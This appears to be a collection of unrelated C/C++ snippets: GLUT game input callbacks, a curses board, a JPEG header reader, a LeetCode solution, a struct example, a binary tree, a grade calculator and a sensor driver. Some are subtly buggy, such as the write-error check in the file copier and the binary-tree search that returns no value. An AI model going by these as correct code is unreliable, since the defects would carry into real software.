/* Nachfolgende Operationen beeinflussen Projektionsmatrix */
glMatrixMode(GL_PROJECTION);
/* Matrix zuruecksetzen - Einheitsmatrix laden */
glLoadIdentity();
/* Koordinatensystem bleibt quadratisch */
if (aspect <= 1)
gluOrtho2D(-1.0, 1.0, -1.0 / aspect, 1.0 / aspect);
else
gluOrtho2D(-1.0 * aspect, 1.0 * aspect, -1.0, 1.0);
}
/**
* Verarbeitung eines Tasturereignisses.
* Pfeiltasten steuern die Position sowie Auslenkung des Schlägers.
* ESC-Taste und q, Q beenden das Programm.
*
* @param[in] key Taste, die das Ereignis ausgeloest hat. (ASCII-Wert
* oder WERT des GLUT_KEY_<SPECIAL>).
* @param[in] status Status der Taste, GL_TRUE=gedrueckt,
* GL_FALSE=losgelassen.
* @param[in] isSpecialKey ist die Taste eine Spezialtaste?
* @param[in] x x-Position des Mauszeigers zum Zeitpunkt der
* Ereignisauslösung.
* @param[in] y y-Position des Mauszeigers zum Zeitpunkt der
* Ereignisauslösung.
*/
static void handleKeyboardEvent(int key, int status, Boolean isSpecialKey, int x, int y)
{
/** Keycode der ESC-Taste */
#define ESC 27
if (status == GLUT_DOWN)
switch (key)
{
case GLUT_KEY_LEFT:
logicAddMovement(DIR_LEFT);
break;
case GLUT_KEY_RIGHT:
logicAddMovement(DIR_RIGHT);
break;
/* Cheat */
case '+':
logicAddLife();
break;
case '1':
logicChangeLevel(1);
break;
case '2':
logicChangeLevel(2);
break;
case '3':
logicChangeLevel(3);
break;
/* Hilfe */
case 'h':
case 'H':
logicSetHelp();
break;
/* Programm beenden */
case 'q':
case 'Q':
case ESC:
exit (0);
break;
}
}
/**
* Callback fuer Tastendruck.
* Ruft Ereignisbehandlung fuer Tastaturereignis auf.
*
* @param[in] key betroffene Taste.
* @param[in] x x-Position der Maus zur Zeit des Tastendrucks.
* @param[in] y y-Position der Maus zur Zeit des Tastendrucks.
*/
static void cbKeyboard(unsigned char key, int x, int y)
{
handleKeyboardEvent(key, GLUT_DOWN, GL_FALSE, x, y);
}
/**
* Callback fuer Tastenloslassen.
* Ruft Ereignisbehandlung fuer Tastaturereignis auf.
*
* @param[in] key betroffene Taste.
* @param[in] x x-Position der Maus zur Zeit des Loslassens.
* @param[in] y y-Position der Maus zur Zeit des Loslassens.
*/
static void cbKeyboardUp(unsigned char key, int x, int y)
{
handleKeyboardEvent(key, GLUT_UP, GL_FALSE, x, y);
}
/**
* Callback fuer Druck auf Spezialtasten.
* Ruft Ereignisbehandlung fuer Tastaturereignis auf.
*
* @param[in] key betroffene Taste.
* @param[in] x x-Position der Maus zur Zeit des Tastendrucks.
* @param[in] y y-Position der Maus zur Zeit des Tastendrucks.
*/
static void cbSpecial(int key, int x, int y)
{
handleKeyboardEvent(key, GLUT_DOWN, GL_TRUE, x, y);
}
/**
* Callback fuer Loslassen von Spezialtasten.
* Ruft Ereignisbehandlung fuer Tastaturereignis auf.
*
* @param[in] key betroffene Taste.
* @param[in] x x-Position der Maus zur Zeit des Loslassens.
* @param[in] y y-Position der Maus zur Zeit des Loslassens.
*/
static void cbSpecialUp(int key, int x, int y)
{
handleKeyboardEvent(key, GLUT_UP, GL_TRUE, x, y);
}
/**
* Timer-Callback.
* Initiiert Berechnung der aktuellen Position und anschliessendes Neuzeichnen,
* setzt sich selbst erneut als Timer-Callback.
*
* @param[in] lastCallTime Zeitpunkt, zu dem die Funktion als Timer-Funktion
* registriert wurde.
*/
static void cbTimer(int lastCallTime)
{
/* Seit dem Programmstart vergangene Zeit in Millisekunden */
int thisCallTime = glutGet(GLUT_ELAPSED_TIME);
/* Seit dem letzten Funktionsaufruf vergangene Zeit in Sekunden */
double interval = (double) (thisCallTime - lastCallTime) / 1000.0f;
/* zeitgesteuerte Ereignisse */
logicCalcScene(interval);
/* Wieder als Timer-Funktion registrieren */
glutTimerFunc(1000 / TIMER_CALLS_PS, cbTimer, thisCallTime);
/* Neuzeichnen anstossen */
glutPostRedisplay();
}
/**
* Callback fuer Aenderungen der Fenstergroesse.
* Initiiert Anpassung der Projektionsmatrix an veränderte Fenstergroesse.
*
* @param[in] w Fensterbreite.
* @param[in] h Fensterhöhe.
*/
static void cbReshape(int w, int h)
{
/* Das ganze Fenster ist GL-Anzeigebereich */
glViewport(0, 0, (GLsizei) w, (GLsizei) h);
/* Anpassen der Projektionsmatrix an das Seitenverhältnis des Fensters */
setProjection((GLdouble) w / (GLdouble) h);
}
/**
* Zeichen-Callback.
* Loescht die Buffer, ruft das Zeichnen der Szene auf und tauscht den Front-
* und Backbuffer.
*/
static void cbDisplay(void)
{
/* Buffer zuruecksetzen */
glClear(GL_COLOR_BUFFER_BIT);
/* Nachfolgende Operationen beeinflussen Modelviewmatrix */
glMatrixMode(GL_MODELVIEW);
/* Matrix zuruecksetzen - Einheitsmatrix laden */
glLoadIdentity();
/* Szene zeichnen */
drawScene();
/* Objekt anzeigen */
glutSwapBuffers();
}
/**
* Registrierung der GLUT-Callback-Routinen.
*/
static void registerCallbacks(void)
{
/* Tasten-Druck-Callback - wird ausgefuehrt, wenn eine Taste gedrueckt wird */
glutKeyboardFunc(cbKeyboard);
/* Tasten-Loslass-Callback - wird ausgefuehrt, wenn eine Taste losgelassen
* wird */
glutKeyboardUpFunc(cbKeyboardUp);
/* Spezialtasten-Druck-Callback - wird ausgefuehrt, wenn Spezialtaste
* (F1 - F12, Links, Rechts, Oben, Unten, Bild-Auf, Bild-Ab, Pos1, Ende oder
* Einfuegen) gedrueckt wird */
glutSpecialFunc(cbSpecial);
/* Spezialtasten-Loslass-Callback - wird ausgefuehrt, wenn eine Spezialtaste
* losgelassen wird */
glutSpecialUpFunc(cbSpecialUp);
/* Automat. Tastendruckwiederholung ignorieren */
glutIgnoreKeyRepeat(1);
/* Timer-Callback - wird einmalig nach msescs Millisekunden ausgefuehrt */
glutTimerFunc(1000 / TIMER_CALLS_PS, /* msecs - bis Aufruf von func */
cbTimer, /* func - wird aufgerufen */
glutGet(GLUT_ELAPSED_TIME)); /* value - Parameter, mit dem
func aufgerufen wird */
/* Reshape-Callback - wird ausgefuehrt, wenn neu gezeichnet wird (z.B. nach
* Erzeugen oder Groessenaenderungen des Fensters) */
glutReshapeFunc(cbReshape);
/* Display-Callback - wird an mehreren Stellen imlizit (z.B. im Anschluss an
* Reshape-Callback) oder explizit (durch glutPostRedisplay) angestossen */
glutDisplayFunc(cbDisplay);
}
/* ----------------------------------------------------------------------------
* Funktionen
* ----------------------------------------------------------------------------
* Exportiert
* -------------------------------------------------------------------------- */
/**
* Initialisiert das Programm (inkl. I/O und OpenGL) und startet die
* Ereignisbehandlung.
*
* @param[in] title Beschriftung des Fensters
* @param[in] width Breite des Fensters
* @param[in] height Höhe des Fensters
*
* @return ID des erzeugten Fensters, 0 im Fehlerfall
*/
int initAndStartIO(char *title, int width, int height)
{
int windowID = 0;
/* Kommandozeile immitieren */
int argc = 1;
char *argv = "cmd";
/* Glut initialisieren */
glutInit(&argc, &argv);
/* Initialisieren des Fensters */
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB);
glutInitWindowSize(width, height);
glutInitWindowPosition(WINDOW_X, WINDOW_Y);
/* Fenster erzeugen */
windowID = glutCreateWindow(title);
if (windowID)
{
if (logicInit() && initScene())
{
registerCallbacks();
glutMainLoop();
}
else
{
glutDestroyWindow(windowID);
windowID = 0;
}
}
return windowID;
}
|
C | #include "../inc/curses.h"
#include "../inc/my_show_board.h"
#include "string.h"
#include "stdlib.h"
#include "unistd.h"
void init_win_params(WIN *p_win)
{
p_win->height = 5;
p_win->width = 5;
p_win->prev = ' ';
p_win->starty = (LINES - p_win->height)/2;
p_win->startx = (COLS - p_win->width)/2;
p_win->posx = 0;
p_win->posy = 0;
}
void create_box(WIN *p_win, bool flag)
{
int i, j;
int x, y, w, h;
x = p_win->startx;
y = p_win->starty;
w = p_win->width;
h = p_win->height;
if(flag == TRUE)
{
j = -1;
while (j++ < 5)
{
i = -1;
if (j % 2)
while(++i < 5)
mvaddch(y + j, x + i, '-');
else
while (++i < 5)
if (i % 2)
mvaddch(y + j, x + i, '|');
else
mvaddch(y + j, x + i, p_win->board[j / 2][i / 2]);
}
}
else
for(j = y; j <= y + h; ++j)
for(i = x; i <= x + w; ++i)
mvaddch(j, i, ' ');
refresh();
}
void move_in_board(WIN *p_win, int x, int y)
{
int ox = p_win->posx, oy = p_win->posy;
if (y != 0 && (ox + y) <= 2 && (ox + y) >= 0){
ox += y;
}
else if (x != 0 && (oy + x) <= 2 && (oy + x) >= 0){
oy += x;
}
p_win->posx = ox;
p_win->posy = oy;
}
void init_curses(WIN *win)
{
initscr(); /* Start curses mode */
start_color(); /* Start the color functionality */
cbreak(); /* Line buffering disabled, Pass on
* everty thing to me */
keypad(stdscr, TRUE); /* I need that nifty F1 */
noecho();
init_pair(1, COLOR_CYAN, COLOR_BLACK);
mvprintw(0, 0, "Press Escape to leave");
/* Initialize the window parameters */
init_win_params(win);
attron(COLOR_PAIR(1));
refresh();
attroff(COLOR_PAIR(1));
create_box(win, TRUE);
move_in_board(win, 0, 0);
}
|
C | #include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "bitstream.h"
#include "huffman.h"
#include "jpeg_reader.h"
struct jpeg_desc *read_jpeg(const char *filename){
/* On initialise la structure jpeg_desc */
struct jpeg_desc *jdesc = malloc(sizeof(struct jpeg_desc));
jdesc->filename = filename;
jdesc->stream = create_bitstream(filename);
/* Initilaisation des variables utilisees par quantization table */
jdesc->quantization_table_luminance = NULL;
jdesc->nb_quantization_table = 0;
uint8_t compteur_tour = 0;
/* Initilaisation des variables utilisees par huffman table */
jdesc->nb_huffman_table_DC = 0;
jdesc->nb_huffman_table_AC = 0;
jdesc->quantization_index_y = 0;
uint32_t lg_section;
/* On itere tant qu'on est pas au debut des donnees brutes */
uint32_t marqueur_courant = 0;
while(marqueur_courant != 0xffda){
read_bitstream(jdesc->stream, 16, &marqueur_courant, true);
//printf("%hx\n", marqueur_courant);
switch (marqueur_courant){
case 0xffd8 :
//Start of Image (debut des donnees d'image)
break;
case 0xffe0 :
/* Application data */
/* On verifie que l'en tete contient bien le marqueur JFIF */
read_bitstream(jdesc->stream, 16, &lg_section, false);
uint32_t j;
read_bitstream(jdesc->stream, 8, &j, false);
uint32_t f;
read_bitstream(jdesc->stream, 8, &f, false);
uint32_t i;
read_bitstream(jdesc->stream, 8, &i, false);
uint32_t f_bis;
read_bitstream(jdesc->stream, 8, &f_bis, false);
uint32_t zero;
read_bitstream(jdesc->stream, 8, &zero, false);
uint32_t damso;
read_bitstream(jdesc->stream, 8, &damso, false);
/* Cas d'exception */
if (j != 74 || f != 70 || i != 73 || f_bis != 70 || zero != 0){
fprintf(stderr, "ERROR : Le fichier ne contient pas le marqueur JFIF\n");
abort();
}
break;
case 0xfffe :
/* Commentaire */
/* On ne les traite pas, ils seront consommees par le marqueur_courant */
break;
case 0xffdb :
/* Quantization Tables */
/* Condition pour definir la table de luminance ssi elle n'a pas deja ete definie */
if (jdesc->quantization_table_luminance == NULL){
jdesc->quantization_table_luminance = calloc(64, sizeof(uint32_t));
}
jdesc->quantization_table_chrominance = NULL;
uint32_t temp_luminance = 0;
uint32_t temp_chrominance = 0;
int32_t longueur_section;
uint32_t longueur_temp;
read_bitstream(jdesc->stream, 16, &longueur_temp, false);
longueur_section = (int32_t) longueur_temp;
/* On a lu 2 octets pour la longueur de la section */
longueur_section -= 2;
uint32_t precision;
/* On boucle selon la longueur de la section si il y a plusieurs tables
dans une meme section */
while (longueur_section > 0) {
read_bitstream(jdesc->stream, 4, &precision, false);
switch (precision){
case 0 :
precision = 8;
break;
case 1 :
precision = 16;
break;
default :
fprintf(stderr, "ERROR : L'en-tête DQT contient une precision non prise en charge.\n");
abort();
break;
}
uint32_t indice;
read_bitstream(jdesc->stream, 4, &indice, false);
/* 1 octet pour precision + indice */
longueur_section -= 1;
/* Premiere fois qu'on lit ffdb => table pour la luminance */
if (compteur_tour == 0){
for (uint8_t i = 0; i < 64; i++){
read_bitstream(jdesc->stream, 8, &temp_luminance, false);
*(jdesc->quantization_table_luminance+i) = (uint8_t) temp_luminance;
}
jdesc->nb_quantization_table++;
}
/* Deuxieme fois qu'on lit ffdb => table pour la chrominance */
else if(compteur_tour == 1){
jdesc->quantization_table_chrominance = calloc(64, sizeof(uint32_t));
for (uint8_t i = 0; i < 64; i++){
read_bitstream(jdesc->stream, 8, &temp_chrominance, false);
*(jdesc->quantization_table_chrominance+i) = (uint8_t) temp_chrominance;
}
jdesc->nb_quantization_table++;
}
/* Il n'y a plus de table à lire */
else{
break;
}
/* On a lu 64 octets => 64 valeurs de la table de quantification */
longueur_section -= 64;
compteur_tour++;
}
break;
case 0xffc0 :
/* Start of frame */
longueur_section = 0;
read_bitstream(jdesc->stream, 16, &longueur_temp, false);
longueur_section = (int32_t) longueur_temp;
read_bitstream(jdesc->stream, 8, &precision, false);
read_bitstream(jdesc->stream, 16, &(jdesc->hauteur), false);
read_bitstream(jdesc->stream, 16, &(jdesc->largeur), false);
read_bitstream(jdesc->stream, 8, &(jdesc->nb_composantes), false);
/* nb_composantes = 1 si noir et blanc, 3 sinon */
if (jdesc->nb_composantes != 1 && jdesc->nb_composantes != 3){
fprintf(stderr, "ERROR : nombre de composantes non pris en compte par le decodeur : != de 1 ou 3\n");
abort();
}
/* On itere tant qu'il y a des composantes a traiter */
for (uint8_t cpt = 0; cpt < jdesc->nb_composantes; cpt++){
/* Cas Y */
if (cpt == 0){
read_bitstream(jdesc->stream, 8, &(jdesc->frame_comp_index_y), false);
read_bitstream(jdesc->stream, 4, &(jdesc->sampling_factor_h_y), false);
read_bitstream(jdesc->stream, 4, &(jdesc->sampling_factor_v_y), false);
read_bitstream(jdesc->stream, 8, &(jdesc->quantization_index_y), false);
}
/* Cas Cb */
else if (cpt == 1){
read_bitstream(jdesc->stream, 8, &(jdesc->frame_comp_index_cb), false);
read_bitstream(jdesc->stream, 4, &(jdesc->sampling_factor_h_cb), false);
read_bitstream(jdesc->stream, 4, &(jdesc->sampling_factor_v_cb), false);
read_bitstream(jdesc->stream, 8, &(jdesc->quantization_index_cb), false);
}
/* cas Cr */
else{
read_bitstream(jdesc->stream, 8, &(jdesc->frame_comp_index_cr), false);
read_bitstream(jdesc->stream, 4, &(jdesc->sampling_factor_h_cr), false);
read_bitstream(jdesc->stream, 4, &(jdesc->sampling_factor_v_cr), false);
read_bitstream(jdesc->stream, 8, &(jdesc->quantization_index_cr), false);
}
}
break;
case 0xffc4 :
/* Huffman Tables */
longueur_section = 0;
read_bitstream(jdesc->stream, 16, &longueur_temp, false);
longueur_section = (int32_t) longueur_temp;
longueur_section -= 2;
uint32_t non_utilise;
uint32_t type;
uint32_t indice_bis;
/* On boucle selon la longueur de la section si il y a plusieurs tables
dans une meme section */
while (longueur_section > 0) {
read_bitstream(jdesc->stream, 3, &non_utilise, false);
read_bitstream(jdesc->stream, 1, &type, false);
read_bitstream(jdesc->stream, 4, &indice_bis, false);
/* 1 octet pour non_utilise + type + indice */
longueur_section -= 1;
uint16_t nb_byte_read = 0;
/* Cas DC */
if (type == 0){
/* Cas luminance */
if(indice_bis == 0){
jdesc->huff_table_DC_luminance = load_huffman_table(jdesc->stream, &nb_byte_read);
}
/* Cas chrominance */
else if (indice_bis == 1){
jdesc->huff_table_DC_chrominance = load_huffman_table(jdesc->stream, &nb_byte_read);
}
/* Cas d'exception */
else{
fprintf(stderr, "ERROR : Indice de la table de Huffman dans la section DHT non pris en charge\n");
abort();
}
jdesc->nb_huffman_table_DC++;
}
/* Cas AC */
else if (type == 1){
/* Cas luminance */
if(indice_bis == 0){
jdesc->huff_table_AC_luminance = load_huffman_table(jdesc->stream, &nb_byte_read);
}
/* Cas chrominance */
else if (indice_bis == 1){
jdesc->huff_table_AC_chrominance = load_huffman_table(jdesc->stream, &nb_byte_read);
}
/* Cas d'exception */
else{
fprintf(stderr, "ERROR : Indice de la table de Huffman dans la section DHT non pris en charge\n");
abort();
}
jdesc->nb_huffman_table_AC++;
}
/* Cas d'exception */
else{
fprintf(stderr, "ERROR : type different de DC ou AC => non pris en charge\n");
abort();
}
/* On a lu nb_byte_read octets dans la table de huffman */
longueur_section -= nb_byte_read;
}
break;
case 0xffda :
/* Start of Scan */
longueur_section = 0;
read_bitstream(jdesc->stream, 16, &longueur_temp, false);
longueur_section = (int32_t) longueur_temp;
uint32_t nb_composantes_bis;
read_bitstream(jdesc->stream, 8, &nb_composantes_bis, false);
jdesc->id_composante_Y = 0;
jdesc->id_composante_Cb = 0;
jdesc->id_composante_Cr = 0;
jdesc->indice_huffman_DC_Y = 0;
jdesc->indice_huffman_AC_Y = 0;
jdesc->indice_huffman_DC_Cb = 0;
jdesc->indice_huffman_AC_Cb = 0;
jdesc->indice_huffman_DC_Cr = 0;
jdesc->indice_huffman_AC_Cr = 0;
/* Cas noir et blanc */
if (nb_composantes_bis == 1){
read_bitstream(jdesc->stream, 8, &(jdesc->id_composante_Y), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_DC_Y), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_AC_Y), false);
}
/* Cas couleur */
else if (nb_composantes_bis == 3){
read_bitstream(jdesc->stream, 8, &(jdesc->id_composante_Y), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_DC_Y), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_AC_Y), false);
read_bitstream(jdesc->stream, 8, &(jdesc->id_composante_Cb), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_DC_Cb), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_AC_Cb), false);
read_bitstream(jdesc->stream, 8, &(jdesc->id_composante_Cr), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_DC_Cr), false);
read_bitstream(jdesc->stream, 4, &(jdesc->indice_huffman_AC_Cr), false);
}
/* Cas d'exception */
else{
fprintf(stderr, "ERROR : nombre de composante du fichier dans la section SOS non pris en charge ( != de 1 ou 3)");
abort();
}
read_bitstream(jdesc->stream, 24, &non_utilise, false);
break;
default :
break;
}
}
return(jdesc);
}
const char *get_filename(const struct jpeg_desc *jdesc){
return(jdesc->filename);
}
void close_jpeg(struct jpeg_desc *jdesc){
if (jdesc != NULL){
close_bitstream(jdesc->stream);
free(jdesc);
jdesc = NULL;
}
}
struct bitstream *get_bitstream(const struct jpeg_desc *jdesc){
return(jdesc->stream);
}
uint8_t get_nb_quantization_tables(const struct jpeg_desc *jdesc){
return(jdesc->nb_quantization_table);
}
uint8_t *get_quantization_table(const struct jpeg_desc *jdesc, uint8_t index){
if (index == 0){
return(jdesc->quantization_table_luminance);
}else if (index == 1){
return(jdesc->quantization_table_chrominance);
}else{
fprintf(stderr, "ERROR : indice invalide\n");
abort();
}
}
uint16_t get_image_size(struct jpeg_desc *jdesc,
enum direction dir){
if (dir == DIR_H){
return((uint16_t) jdesc->largeur);
}else if (dir == DIR_V){
return((uint16_t) jdesc->hauteur);
}else{
fprintf(stderr, "ERROR : direction invalide\n");
abort();
}
}
uint8_t get_nb_components(const struct jpeg_desc *jdesc){
return ((uint8_t) jdesc->nb_composantes);
}
uint8_t get_frame_component_id(const struct jpeg_desc *jdesc,
uint8_t frame_comp_index){
if(frame_comp_index == 0){
return((uint8_t) jdesc->frame_comp_index_y);
}else if(frame_comp_index == 1){
return((uint8_t) jdesc->frame_comp_index_cb);
}else if (frame_comp_index == 2){
return((uint8_t) jdesc->frame_comp_index_cr);
}else{
fprintf(stderr, "ERROR : frame_comp_index invalide\n");
abort();
}
}
uint8_t get_frame_component_sampling_factor(const struct jpeg_desc *jdesc,
enum direction dir,
uint8_t frame_comp_index){
if (frame_comp_index == 0){
if (dir == DIR_H){
return((uint8_t) jdesc->sampling_factor_h_y);
}else if (dir == DIR_V){
return((uint8_t) jdesc->sampling_factor_v_y);
}else{
fprintf(stderr, "ERROR : direction invalide\n");
abort();
}
}
else if (frame_comp_index == 1){
if (dir == DIR_H){
return((uint8_t) jdesc->sampling_factor_h_cb);
}else if (dir == DIR_V){
return((uint8_t) jdesc->sampling_factor_v_cb);
}else{
fprintf(stderr, "ERROR : direction invalide\n");
abort();
}
}
else if (frame_comp_index == 2){
if(dir == DIR_H){
return((uint8_t) jdesc->sampling_factor_h_cr);
}else if (dir == DIR_V){
return((uint8_t) jdesc->sampling_factor_v_cr);
}else{
fprintf(stderr, "ERROR : direction invalide\n");
abort();
}
}else{
fprintf(stderr, "ERROR : frame_comp_index invalide\n");
abort();
}
}
uint8_t get_frame_component_quant_index(const struct jpeg_desc *jdesc,
uint8_t frame_comp_index){
if (frame_comp_index == 0){
return((uint8_t) jdesc->quantization_index_y);
}else if (frame_comp_index == 1){
return((uint8_t) jdesc->quantization_index_cb);
}else if (frame_comp_index == 2){
return((uint8_t) jdesc->quantization_index_cr);
}else{
fprintf(stderr, "ERROR : frame_comp_index invalide\n");
abort();
}
}
uint8_t get_nb_huffman_tables(const struct jpeg_desc *jdesc,
enum acdc acdc){
if (acdc == 0){
return((uint8_t) jdesc->nb_huffman_table_DC);
}else if (acdc == 1){
return((uint8_t) jdesc->nb_huffman_table_AC);
}else{
fprintf(stderr, "ERROR : enum acdc invalide\n");
abort();
}
}
struct huff_table *get_huffman_table(const struct jpeg_desc *jdesc,
enum acdc acdc,
uint8_t index){
if (acdc == 0){
if (index == 0){
return(jdesc->huff_table_DC_luminance);
}else if (index == 1){
return(jdesc->huff_table_DC_chrominance);
}else{
fprintf(stderr, "ERROR : indice invalide\n");
abort();
}
}
else if (acdc == 1){
if (index == 0){
return(jdesc->huff_table_AC_luminance);
}else if (index == 1){
return(jdesc->huff_table_AC_chrominance);
}else{
fprintf(stderr, "ERROR : indice invalide\n");
abort();
}
}else{
fprintf(stderr, "ERROR : enum acdc invalide\n");
abort();
}
}
uint8_t get_scan_component_id(const struct jpeg_desc *jdesc,
uint8_t scan_comp_index){
if (scan_comp_index == 0){
return((uint8_t) jdesc->id_composante_Y);
}else if (scan_comp_index == 1){
return((uint8_t) jdesc->id_composante_Cb);
}else if (scan_comp_index == 2){
return((uint8_t) jdesc->id_composante_Cr);
}else{
fprintf(stderr, "ERROR : scan_comp_index invalide\n");
abort();
}
}
uint8_t get_scan_component_huffman_index(const struct jpeg_desc *jdesc,
enum acdc acdc,
uint8_t scan_comp_index){
if (acdc == 0){
if (scan_comp_index == 0){
return((uint8_t) jdesc->indice_huffman_DC_Y);
}else if (scan_comp_index == 1){
return((uint8_t) jdesc->indice_huffman_DC_Cb);
}else if (scan_comp_index == 2){
return((uint8_t) jdesc->indice_huffman_DC_Cr);
}else{
fprintf(stderr, "ERROR : scan_comp_index invalide\n");
abort();
}
}
else if (acdc == 1){
if (scan_comp_index == 0){
return((uint8_t) jdesc->indice_huffman_AC_Y);
}else if (scan_comp_index == 1){
return((uint8_t) jdesc->indice_huffman_AC_Cb);
}else if (scan_comp_index == 2){
return((uint32_t) jdesc->indice_huffman_AC_Cr);
}else{
fprintf(stderr, "ERROR : scan_comp_index invalide\n");
abort();
}
}else{
fprintf(stderr, "ERROR : enum acdc invalide\n");
abort();
}
}
|
C | class Solution {
public:
int totalHammingDistance(vector<int>& nums) {
int num = nums.size();
if(num == 0) return 0;
vector<int> cnt(32,0);
for(int i = 0;i<num;i++){
int tmp = nums[i];
int j = 0;
while(tmp){
cnt[j++]+=(tmp%2);
tmp>>=1;
}
}
int res = 0;
for(int i = 0;i<32;i++) res+=cnt[i]*(num-cnt[i]);
return res;
}
}; |
C | // 01_errors.c corregido
#include <stdio.h>
#include <conio.h>
int main()
{
clrscr();
gotoxy(10, 10);
printf("Estoy en la fila 10 columna 10");
return 0;
} |
C | #include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFF_SIZE 10
int main(int argc, char const *argv[]) {
const char *filename = argv[1];
char buff[BUFF_SIZE];
ssize_t rresult;
ssize_t wresult;
int fd = open(filename, O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
while((rresult = read(fd, buff, BUFF_SIZE)) != 0) {
wresult = 0;
if (rresult < 0) {
perror("read");
return -1;
}
while (wresult != rresult) {
ssize_t res = write(STDOUT_FILENO, buff + wresult, rresult - wresult);
if (wresult < 0) {
perror("write");
return -1;
}
wresult += res;
}
}
if (close(fd) < 0) {
perror("close");
return -1;
}
return 0;
}
|
C | // ch13_01.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct st_person{
char name[20];// 이름
char address[80];// 주소
int age;// 나이
};
struct st_person* add_person();
void list_person(struct st_person* list[], int size);
int main()
{
struct st_person* plist[10];
for(int i=0; i<3; i++){
printf("#%d 인적사항을 입력하시오.\n", i+1);
plist[i] = add_person(); // 새로운 인적사항 등록
getchar(); // 다음 인적사항 입력을 위한 빈줄 처리용
}
list_person(plist, 3); // 등록된 인적사항 출력
return 0;
}
struct st_person* add_person()
{
struct st_person* ptr = (struct st_person*) malloc(sizeof(struct st_person));
// 구조체 포인터에 실제 데이터를 넣을만한 크기의 메모리를 할당함
printf("이름은? > ");
fgets(ptr->name, 20, stdin);
ptr->name[strlen(ptr->name)-1] = '\0';
printf("주소는? > ");
fgets(ptr->address, 80, stdin);
ptr->address[strlen(ptr->address)-1] = '\0';
printf("나이는? > ");
scanf("%d", &(ptr->age));
return ptr;// 새로 추가된 구조체의 포인터를 리턴
}
void list_person(struct st_person* list[], int size){
printf("번호 이름[나이] 주소\n");
for(int i=0; i<size; i++)
printf("%d %s[%d] %s\n", i+1, list[i]->name, list[i]->age, list[i]->address);
}
|
C | #include <stdio.h>
#include <stdlib.h>
typedef struct s_btree
{
struct s_btree *left;
struct s_btree *right;
void *item;
} t_btree;
t_btree *btree_create_node(void *item);
t_btree *btree_create_node(void *item)
{
t_btree *node;
if(!(node = (t_btree*)malloc(sizeof(t_btree))))
return (NULL);
node->item = item;
node->right = 0;
node->left = 0;
return (node);
}
int compare(void *a, void* b)
{
return *((int*)a)-*((int*)b);
}
void btree_insert_data(t_btree **root, void *item, int (*cmpf)(void *, void *))
{
t_btree *node;
node = btree_create_node(item); //새로운 노드를 만들어서 item을 넣어준다.
if(!(*root)->item) //root 노드가 null이면
{
*root = node; //node를 root로 해준다.
}
else //root가 null이 아니면
{
if((cmpf((*root)->item, node->item)) > 0)
{
if((*root)->left){
btree_insert_data(&(*root)->left, item,cmpf);
}else{
(*root)->left = node;
}
}
else
{
if((*root)->right){
btree_insert_data(&(*root)->right, item,cmpf);
}else{
(*root)->right = node;
}
}
}
}
void *btree_search_item(t_btree *root, void *data_ref, int(*cmpf)(void *, void *))
{
if(!data_ref){
root = data_ref;
return;
}
if(cmpf(root->item, data_ref) > 0 )
{
btree_search_item(root->left, data_ref, cmpf);
}else if(cmpf(root->item, data_ref) < 0)
{
btree_search_item(root->right, data_ref, cmpf);
}
}
int main(int argc, char const *argv[])
{
int a = 10;
int b = 5;
int c = 12;
int d = 6;
t_btree *root = btree_create_node(&a);
// btree_insert_data(&root, &a, compare);
btree_insert_data(&root, &b, compare);
btree_insert_data(&root, &c, compare);
btree_insert_data(&root, &d, compare);
printf("%d \n", *((int*)(root->item)));
printf("%d \n", *((int*)(root->left->item)));
printf("%d \n", *((int*)(root->right->item)));
printf("%d \n", *((int*)(root->left->right->item)));
// btree_insert_data(&root, &d, compare);
// printf("%d \n", *((int*)(root->left->right->item)));
return 0;
} |
C | /**
* C program to enter marks of five subjects and find percentage and grades
*/
#include <stdio.h>
int main()
{
int phy,chem,maths,bio,comp;
float per;
/*
Input marks of five subjects from the user
*/
printf("Enter five subjects marks");
scanf("%d%d%d%d%d",&phy,&chem,&bio,&maths,&comp);
/*
* Calculate percentage
*/
per= (phy+chem+maths+bio+comp)/5.0;
printf("percentage=%.2f\n",per);
/*
*find grade according to the percentage
*/
if (per >= 90)
{
printf ("Grade A");
}
else if (per >= 80)
{
printf ("Grade B");
}
else if (per >= 70)
{
printf ("Grade C");
}
else if (per >= 60)
{
printf ("Grade D");
}
else if (per >= 40)
{
printf ("Grade E");
}
else if (per < 40 )
{
printf ("Grade F");
}
return 0;
}
|
C | /**
******************************************************************************
* @file contact_detection.c
* @author Inmotion NaviPanel team
* @date 2016/09/19
* @brief 碰撞传感器驱动
* @attention Copyright (C) 2016 Inmotion Corporation
******************************************************************************
*/
#include "adc_user.h"
#include "contact_detection.h"
/**
*@碰撞模块结构体
*{
*/
typedef struct contactTypeStruct
{
double contact_r; /**< 右测碰撞模块adc模块采样数值*/
double contact_l; /**< 左测碰撞模块adc模块采样数值*/
double R_r; /**< 右测碰撞模块所产生的电阻值大小*/
double R_l; /**< 左测碰撞模块所产生的电阻值大小*/
}contactType;
/**
*}
*/
contactType contactData;
/**
* @brief 碰撞传感器测量
* @param None
* @retval None
*/
void Contact_detection(void)
{
ADC_GetRef();
int contact1,contact2;
int i;
// double a[10];
for(i=0,contact1=0,contact2=0;i<32;i++) //累计32次数据进行均值滤波
{
contact1 = contact1 + ADC_GetValue(CONTACT_DROP1);
contact2 = contact2 + ADC_GetValue(CONTACT_DROP2);
HAL_Delay(1);
}
contactData.contact_l = contact1 >> 5;
contactData.contact_r = contact2 >> 5;
contactData.R_l = (4096000 / contactData.contact_l) - 1000; //分压电阻为1000欧姆
contactData.R_r = (4096000 / contactData.contact_r) - 1000; //分压电阻为1000欧姆
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include </usr/include/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#pragma warning(disable : 4996)
extern int errno;
